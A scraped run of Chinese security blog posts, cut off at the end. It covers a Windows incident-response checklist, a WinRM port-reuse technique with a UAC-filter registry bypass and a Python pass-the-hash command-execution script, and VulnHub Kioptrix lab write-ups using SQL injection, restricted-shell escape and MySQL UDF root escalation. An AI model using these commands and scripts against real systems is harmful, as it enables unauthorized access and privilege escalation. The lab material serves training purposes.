必看日志Security.evtx、System.evtx、Application.evtx# 特殊ID号4624、4625、4634、4624、4672管理员登录# 查看是否执行了某些命令比如4688,创建新进程4732安全组管理# 4724用户账户管理 4738、4722、4720、4728 重要的事件日志ID如下: Event ID(2000/XP/2003) Event ID(Vista/7/8/2008/2012) 描述 日志名称 528 4624 成功登录 Security 529 4625 失败登录 Security 680 4776 成功/失败的账户认证 Security 624 4720 创建用户 Security 636 4732 添加用户到启用安全性的本地组中 Security 632 4728 添加用户到启用安全性的全局组中 Security 2934 7030 服务创建错误 System 2944 7040 IPSEC服务服务的启动类型已从禁用更改为自动启动 System 2949 7045 服务创建 System 端口分析注意以下状态的网络连接: ESTABLISHED:连接建立数据传输 LISTEN:监听中等待连接 Tcpview、火绒剑、命令行下netstat -ano: DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口号,该工具还可以将主机访问过的所有域名记录下来。 启动项、计划任务、服务autoruns:检查启动项、计划任务、服务最推荐的工具。 WMI后门:无文件,相对来说难以排查,但也可以使用autoruns排查。 其他 查看系统环境变量 WinRM端口复用连接排查 在默认情况下,WinRM服务的端口为5985,但可通过配置将其改成80端口 在排查时,可使用命令winrm enumerate winrm/config/listener查看是否启动服务,当存在返回信息时,则说明服务运行中,当无返回信息时,则服务关闭 关闭服务命令 cmd:winrm delete winrm/config/Listener?Address=*+Transport=HTTP powershell Set-Service -Name winrm -StartupType Disabled Stop-Service winrm 研判与溯源分析流程 定位事件 设备告警 辅助设备 告警事件 应急响应 分析服务器以及相应服务开放的端口 21 3389 445 443 80 3306 8080 分析服务被攻击的方法 OWASP TOP 10 爆破 欺骗 钓鱼 漏洞利用 分析日志 查找Webshell 分析网站数据库连接账号权限 分析网站容器权限 被提权了 查看补丁 查看账号连接情况(分析注册表如是否被克隆账号) 查看网络连接 分析进程 分析注册表启动程序 分析日志 分析一些提权工具 漏洞利用程序 执行对比命令 mimakatz 报告整理 信息分析 用户画像绘制流程 重大信息安全事件报告表 重大信息安全事件报告表 报告时间: x 年x 月x 日x 时x 分 单位名称: 报告人: 联系电话: 通讯地址: 传真: 电子邮件: 发生重大信息安全事件的信息系统名称及用途: 负责部门: 负责人: 重大信息安全事件的简要描述(如以前出现过类似情况也应加以说明): 初步判定的事故原因: 当前采取的措施: 本次重大信息安全事件的初步影响状况: 影响范围: 严重程度: 值班电话: 传真: 应急响应总结模板 信息安全事件应急响应结果报告表 原事件报告时间: x 年x 月x 日x 时x 分 备案编号: x 年x 月x 日x 第 x 号 单位名称: 报告人: 联系电话: 通讯地址: 信息系统名称及用途: 已采用的安全措施: 信息安全事件的补充描述及最后判定的事故原因: 本次信息安全事件的初步影响状况: 事后结果: 影响范围: 严重程度: 本次信息安全事件的主要处理过程及结果: 针对此类信息安全事件应采取的保障信息系统安全的措施和建议: 报告人签名: Windows端口复用-番外篇概述使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用。 优点:HTTP.sys为windows原生机制,WinRM为windows自带功能,动作较小,不易触发主动防御。 需要管理员权限 原理HTTP.sysHTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。 为了优化IIS服务器性能 从IIS6.0引入(即Windows Server 2003及以上版本) IIS服务进程依赖HTTP.sys HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量。微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。 整个过程描述如下:Step 1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径。Step 2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。 Net.tcp Port SharingNet.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。 在以前的web应用中,一个web应用绑定一个端口,若有其他应用则需要绑定其他的端口才能实现监听。如下图所示,Web Application 1绑定了80端口后,Web Application 2再去绑定80端口会出错。 现在使用微软提供的NET.tcp Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的Web服务器端口。如下图中Web Application 1和Web Application 2同时绑定在80端口。 WinRMWinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似telnet的交互式命令行shell,而底层通讯协议使用的正是HTTP。 事实上,WinRM已经在HTTP.sys上注册了名为wsman的url前缀,默认监听端口5985。因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过80端口登录Windows服务器查询当前注册url前缀 1netsh http show servicestate 开启winrm服务 Windows 2012及以上:winrm默认启动并监听了5985端口。 Windows 2008:需要手动启动winrm。 1winrm quickconfig -q 增加80端口复用 1winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} 更改winrm为80端口 默认5985端口开启,不需要更改端口。 默认5985端口不开启,则更改winrm为80端口,否则会因端口改变而引起管理员关注。 1winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} 攻击机(Windows Server 2008 R2)也需要启动winrm并设置信任连接 1234# 启动winrmwinrm quickconfig ‐q# 设置信任主机地址winrm set winrm/config/Client @{TrustedHosts="*"} 连接使用winrs命令接口连接远程winrm服务执行命令,并返回结果winrs,Windows Remote Shell,windows远程shell,是winrm的一个组件 1winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令] 实验端口复用开启IIS服务/WEB服务 先看一下当前注册的url前缀:netsh http show servicestate 启动winrm:winrm quickconfig -q 再看一下注册的url前缀,发现winrm已注册: 看一下端口情况:netstat -ano 增加80端口复用:winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} 更改winrm为80端口:winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} 再看一下端口情况,发现5985端口已关闭: Attacker:Windows Server 2008 R2 x64 启动winrmwinrm quickconfig -q 设置信任主机地址:winrm set winrm/config/Client @{TrustedHosts="*"} 使用winrs远程执行命令:winrs -r:http://192.168.232.135 -u:administrator -p:1qaz@WSX whoami 执行cmd命令可获取交互式shell:winrs -r:http://192.168.232.135 -u:administrator -p:1qaz@WSX cmd 此时IIS的正常服务并未受到影响: Bypass UAC 如果远程计算机上的帐户具有相同登录用户名和密码,则所需的唯一额外信息是传输、域名和计算机名称。 由于 用户帐户控制 (UAC) ,远程帐户必须是域帐户和远程计算机管理员组的成员。 如果帐户是管理员组的本地计算机成员,则 UAC 不允许访问 WinRM 服务若要访问工作组中的远程 WinRM 服务,必须通过创建以下 DWORD 注册表项并将其值设置为 1[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] LocalAccountTokenFilterPolicy 来禁用本地帐户的 UAC 筛选 12345678910net user test password@123 /addnet localgroup administrators test /add# 删除,因为无法直接修改reg delete HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /f# 添加注册表reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fwinrm set winrm/config/Client @{TrustedHosts="*"}winrm e winrm/config/listener 修改后,普通管理员登录后也是高权限 Hash登录(来自网络)使用本地的winrs登录,虽然非常方便,但是Windows Server 2012以后我们抓取明文密码有些许复杂,多数情况下只能抓到账户的Hash,这个时候如果用winrs就无法正常登录了。此时,我们就可以借助python脚本,用NTLM hash执行命令了 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374#!/usr/bin/python# -*- coding: UTF-8 -*-import argparseimport urllib.parseimport requestsimport winrmimport sysdef getURLState(url): r = requests.get(url) if r.status_code == 404: print("[-]404 Not Found!") sys.exit(0) elif r.status_code == 403: print("[-]403 Forbidden!") sys.exit(0) elif r.status_code == 500: print("[-]500 Internal Server Error!") sys.exit(0) elif r.status_code == 200: print("[+]200 OK!") return else: print("HTTP Status Code:"+str(r.status_code)) returndef splitURL(url): parser = urllib.parse.urlparse(url) path = parser.path ip = parser.netloc port = parser.port return path,ip,portdef parseFlag(): parser = argparse.ArgumentParser(description='WinRm Port Reuse (Only Windows Server >= 2012)') parser.add_argument("-r",action='store',dest='url',help='Remote URL') parser.add_argument("-u",action='store',dest='user',default="administrator",help='WinRM username') parser.add_argument("-p",metavar="",dest='pwd',help="WinRM password") parser.add_argument("-H",action='store',dest='hpwd',help="NTLM-Hash password") parser.add_argument("-c",action='store',dest='cmd',default="whoami",help="cmd shell") return parser.parse_args()def attackWinRM(path,ip,port,cmd,**shell): if shell.get("hpwd"): try: wincmd = winrm.Session('http://' + ip + ":" + str(port) + path, auth=(shell.get("user"), '00000000000000000000000000000000:' + shell.get("hpwd")), transport="ntlm", server_cert_validation='ignore') result = wincmd.run_cmd(str(cmd)) sys.stdout.write(result.std_out.decode('gbk')) sys.stdout.write(result.std_err.decode('gbk')) sys.stdout.write(' ') except Exception as e: print("[-]Hash Assword Error:" + str(e)) else: try: wincmd = winrm.Session('http://' + ip + ":" + str(port) + path, auth=(shell.get("user"), shell.get("pwd")), transport="basic", server_cert_validation='ignore') result = wincmd.run_cmd(str(cmd)) sys.stdout.write(result.std_out.decode('gbk')) sys.stdout.write(result.std_err.decode('gbk')) sys.stdout.write(' ') except Exception as e: print("[-]Password Error:" + str(e))def Main(): args = parseFlag() getURLState(args.url) path, ip, port = splitURL(args.url) attackWinRM(path,ip,port,args.cmd, user=args.user, hpwd=args.hpwd, pwd=args.pwd)if __name__ == '__main__': Main() 使用此脚本用明文密码登录时,需要为WinRM service 配置auth:winrm set winrm/config/service/auth @{Basic="true"}还要为WinRM service配置加密方式为允许非加密:winrm set winrm/config/service @{AllowUnencrypted="true"}用Hash登录时,需使用NTLM Hash。","tags":["应急响应","Windows"]},{"title":"VulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权","path":"/2024/03/01/70eef621/","content":"总字符数: 18.79K 代码: 15.99K, 文本: 0.58K 预计阅读时间: 1.20 小时 Overview Name Template Release Date 2024-03-01 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-13-4,25 相关技能 MySql UDF restricted Shell Bypass 薄弱点 MySql UDF restricted Shell Bypass Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.130 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 192.168.150.130 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.130 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.150.130 -oN nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 14:04 CSTNmap scan report for 192.168.150.130Host is up (0.00048s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)MAC Address: 00:0C:29:09:FE:DB (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:| smb-os-discovery: | OS: Unix (Samba 3.0.28a)| Computer name: Kioptrix4| NetBIOS computer name: | Domain name: localdomain| FQDN: Kioptrix4.localdomain|_ System time: 2024-02-26T09:05:00-05:00| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)|_clock-skew: mean: 10h30m00s, deviation: 3h32m07s, median: 8h00m00s|_smb2-time: Protocol negotiation failed (SMB2)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux-ng 127.0.0.1 1234567891011121314151617181920212223242526272829303132333435363738394041$ enum4linux-ng <ip>┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# enum4linux-ng 192.168.150.130 > smb.result┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# more smb.result ==================================================| OS Information via RPC for 192.168.150.130 | ==================================================[*] Enumerating via unauthenticated SMB session on 445/tcp[+] Found OS information via SMB[*] Enumerating via 'srvinfo'[+] Found OS information via 'srvinfo'[+] After merging OS information we have the following result:OS: Linux/Unix (Samba 3.0.28a) OS version: '4.9' OS release: not supported OS build: not supported Native OS: Unix Native LAN manager: Samba 3.0.28a Platform id: '500' Server type: '0x809a03' Server type string: Wk Sv PrQ Unx NT SNT Kioptrix4 server (Samba, Ubuntu) ┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# cat smb.result | grep user[+] Server allows session using username '', password ''[*] Check for random user[+] Server allows session using username 'gmbklnrd', password ''[H] Rerunning enumeration with user 'gmbklnrd' might give more results[*] Enumerating users via 'querydispinfo'[+] Found 5 user(s) via 'querydispinfo'[*] Enumerating users via 'enumdomusers'[+] Found 5 user(s) via 'enumdomusers'[+] After merging user results we have 5 user(s) total: username: root username: loneferret username: john username: robert username: nobody MSF-SMB 123456# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.150.130http://192.168.150.130 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.150.130], Script[text/javascript] 目录枚举 dirb http://192.168.150.130 dirsearch -u http://192.168.150.130 -r gobuster dir -w ... -u http://192.168.150.130 -x html,php,js,bak 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.150.130 -x html,php,js,bak===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.150.130[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Extensions: bak,html,php,js[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/images (Status: 301) [Size: 358] [--> http://192.168.150.130/images/] /index.php (Status: 200) [Size: 1255]/.html (Status: 403) [Size: 327]/index (Status: 200) [Size: 1255]/member (Status: 302) [Size: 220] [--> index.php]/member.php (Status: 302) [Size: 220] [--> index.php]/logout (Status: 302) [Size: 0] [--> index.php]/logout.php (Status: 302) [Size: 0] [--> index.php]/john (Status: 301) [Size: 356] [--> http://192.168.150.130/john/] /robert (Status: 301) [Size: 358] [--> http://192.168.150.130/robert/] /.html (Status: 403) [Size: 327]Progress: 1102800 / 1102805 (100.00%)===============================================================Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.150.130/ -w dict.txt 1 pass.list 12MyNameIsJohnADGAdsafdfwt4gadfga== user.list 12345rootloneferretjohnrobertnobody hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点发现登录功能,尝试万能密码1" or "1"="1/1' or '1'='1 发现报错,并且用户功能点的单引号被转义了,把用户名换成一个正常的试试,密码还是用万能密码 发现存在SQL注入,由于是POST请求,使用BURP抓包,用SQLMAP跑一跑 保存成文件 信息分析1234567891011121314151617181920212223242526┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch --dbsavailable databases [3]:[*] information_schema[*] members[*] mysql┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch -D members --tablesDatabase: members[1 table]+---------+| members |+---------+┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch -D members -T members --dumpDatabase: membersTable: members[2 entries]+----+-----------------------+----------+| id | password | username |+----+-----------------------+----------+| 1 | MyNameIsJohn | john || 2 | ADGAdsafdfwt4gadfga== | robert |+----+-----------------------+----------+ 使用已知的user.list and pass.list进行密码喷洒 Web界面没有功能点 SSH12345678910111213141516┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.150.130Welcome to LigGoat Security Systems - We are Watching== Welcome LigGoat Employee ==LigGoat Shell is in place so you don't screw upType '?' or 'help' to get the list of allowed commandsjohn:~$ ┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# ssh -o HostKeyAlgorithms=ssh-rsa robert@192.168.150.130Welcome to LigGoat Security Systems - We are Watching== Welcome LigGoat Employee ==LigGoat Shell is in place so you don't screw upType '?' or 'help' to get the list of allowed commandsrobert:~$ 提示:欢迎来到安全系统,很有可能是受限Shell 12345678john:~$ python -c 'print("Hello, Python!")'*** unknown command: pythonjohn:~$ python3 -c 'print("Hello, Python!")'*** unknown command: python3john:~$ ruby -e 'puts "Hello, Ruby!"'*** unknown command: rubyjohn:~$ echo os.system('/bin/bash')john@Kioptrix4:~$ 系统信息收集123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105john@Kioptrix4:/tmp$ history 1 exit 2 sudo su 3 clear 4 ls 5 cd /home/loneferret 6 ls 7 ./nc 8 rm nc 9 exit 10 idjohn@Kioptrix4:/tmp$ cat /home/john/.bash_history exitsudo suclearlscd /home/loneferretls./ncrm ncexitjohn@Kioptrix4:/tmp$ uname -aLinux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linuxjohn@Kioptrix4:/tmp$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 8.04.3 LTSRelease: 8.04Codename: hardyjohn@Kioptrix4:/tmp$ ┌──(root㉿kali)-[/opt/TOP10/burp]└─# searchsploit Ubuntu 8.04.3 --------------------------------------- --------------------------------- Exploit Title | Path--------------------------------------- ---------------------------------Ubuntu < 15.10 - PT Chown Arbitrary PT | linux/local/41760.txt--------------------------------------- ---------------------------------Shellcodes: No Results--------------------------------------- --------------------------------- Paper Title | Path--------------------------------------- ---------------------------------Debian < 5.0.6 / Ubuntu < 10.04 - Webs | english/15311-debian--5.0.6--ubu--------------------------------------- ---------------------------------# 没有可用漏洞,换方向john@Kioptrix4:/tmp$ sudo -l[sudo] password for john: Sorry, user john may not run sudo on Kioptrix4.john@Kioptrix4:/tmp$ find / -perm -u=s -type f 2>/dev/null/usr/lib/apache2/suexec/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/pt_chown/usr/bin/chsh/usr/bin/sudo/usr/bin/traceroute6.iputils/usr/bin/newgrp/usr/bin/sudoedit/usr/bin/chfn/usr/bin/arping/usr/bin/gpasswd/usr/bin/mtr/usr/bin/passwd/usr/bin/at/usr/sbin/pppd/usr/sbin/uuidd/lib/dhcp3-client/call-dhclient-script/bin/mount/bin/ping6/bin/fusermount/bin/su/bin/ping/bin/umount/sbin/umount.cifs/sbin/mount.cifs# 没有,下一位john@Kioptrix4:/home$ cd /var/www/john@Kioptrix4:/var/www$ cat checklogin.php <?phpob_start();$host="localhost"; // Host name$username="root"; // Mysql username$password=""; // Mysql password$db_name="members"; // Database name$tbl_name="members"; // Table name# MySQL无密码,看看能不能第三方应用提权john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.solib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so# 存在lib_mysqludf_sys.so,尝试udf提权john@Kioptrix4:/var/www$ mysql -uroot -pEnter password: Welcome to the MySQL monitor. Commands end with ; or \\g.Your MySQL connection id is 9786Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.mysql> https://jiangjiyue.github.io/2020/12/21/466824cf/https://jiangjiyue.github.io/2020/12/21/466824cf/ MySQL提权1234567891011121314151617mysql> SELECT * FROM information_schema.tables WHERE table_name like '%fun%'; +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE | VERSION | ROW_FORMAT | TABLE_ROWS | AVG_ROW_LENGTH | DATA_LENGTH | MAX_DATA_LENGTH | INDEX_LENGTH | DATA_FREE | AUTO_INCREMENT | CREATE_TIME | UPDATE_TIME | CHECK_TIME | TABLE_COLLATION | CHECKSUM | CREATE_OPTIONS | TABLE_COMMENT |+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| NULL | mysql | func | BASE TABLE | MyISAM | 10 | Fixed | 3 | 579 | 1737 | 162974011515469823 | 2048 | 0 | NULL | 2012-02-04 10:00:35 | 2020-12-21 15:24:46 | 2020-12-21 10:35:01 | utf8_bin | NULL | | User defined functions | +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+1 row in set (0.00 sec)-- 上方有个func表,属于mysql数据库,查看他存在哪些函数mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+2 rows in set (0.00 sec) 存在sys_exec函数但是无法利用,重新创建个函数试试 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647mysql> create function sys_eval returns string soname 'udf.so';ERROR 1046 (3D000): No database selectedmysql> use mysqlReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | | sys_eval | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+3 rows in set (0.00 sec)mysql> select sys_eval('id');+--------------------------+| sys_eval('id') |+--------------------------+| uid=0(root) gid=0(root) | +--------------------------+1 row in set (0.00 sec)-- 成功提权mysql> select sys_eval('chown -R john:john /etc/sudoers');+---------------------------------------------+| sys_eval('chown -R john:john /etc/sudoers') |+---------------------------------------------+| | +---------------------------------------------+1 row in set (0.00 sec)mysql> exitByejohn@Kioptrix4:/var/www$ ls -la /etc/ | grep sudoers-r--r----- 1 john john 557 2012-02-04 09:58 sudoersjohn@Kioptrix4:/var/www$ chmod +w /etc/sudoers john@Kioptrix4:/var/www$ ls -la /etc/ | grep sudoers-rw-r----- 1 john john 557 2012-02-04 09:58 sudoersjohn@Kioptrix4:/var/www$ vi /etc/sudoers 12345678910111213141516john@Kioptrix4:/var/www$ sudo -lsudo: /etc/sudoers is mode 0640, should be 0440john@Kioptrix4:/var/www$ chmod 0440 /etc/sudoers john@Kioptrix4:/var/www$ mysql -uroot -pEnter password: mysql> select sys_eval('chown -R root:root /etc/sudoers');+---------------------------------------------+| sys_eval('chown -R root:root /etc/sudoers') |+---------------------------------------------+| | +---------------------------------------------+1 row in set (0.00 sec) mysql> exitBye 123456789john@Kioptrix4:/var/www$ sudo -lUser john may run the following commands on this host: (root) NOPASSWD: ALLjohn@Kioptrix4:/var/www$ sudo suroot@Kioptrix4:/var/www# cd /root/root@Kioptrix4:~# whoamirootroot@Kioptrix4:~# iduid=0(root) gid=0(root) groups=0(root) Shell as user1 Shell as user2 以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 3 SQL 注入 + sudo 提权","path":"/2024/02/28/aba73427/","content":"总字符数: 10.31K 代码: 7.96K, 文本: 0.54K 预计阅读时间: 37 分钟 Overview Name Template Release Date 2024-02-28 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ 相关技能 File Upload Local File Include vim to shell 薄弱点 字典及信息收集技能薄弱 Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.129 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 192.168.150.129 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.129 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.150.129 -oN nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 10:11 CSTNmap scan report for kioptrix3.com (192.168.150.129)Host is up (0.00044s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set|_http-title: Ligoat Security - Got Goat? Security ...|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-PatchMAC Address: 00:0C:29:9F:D9:FA (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 1$ enum4linux -A <ip> MSF-SMB 123456# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 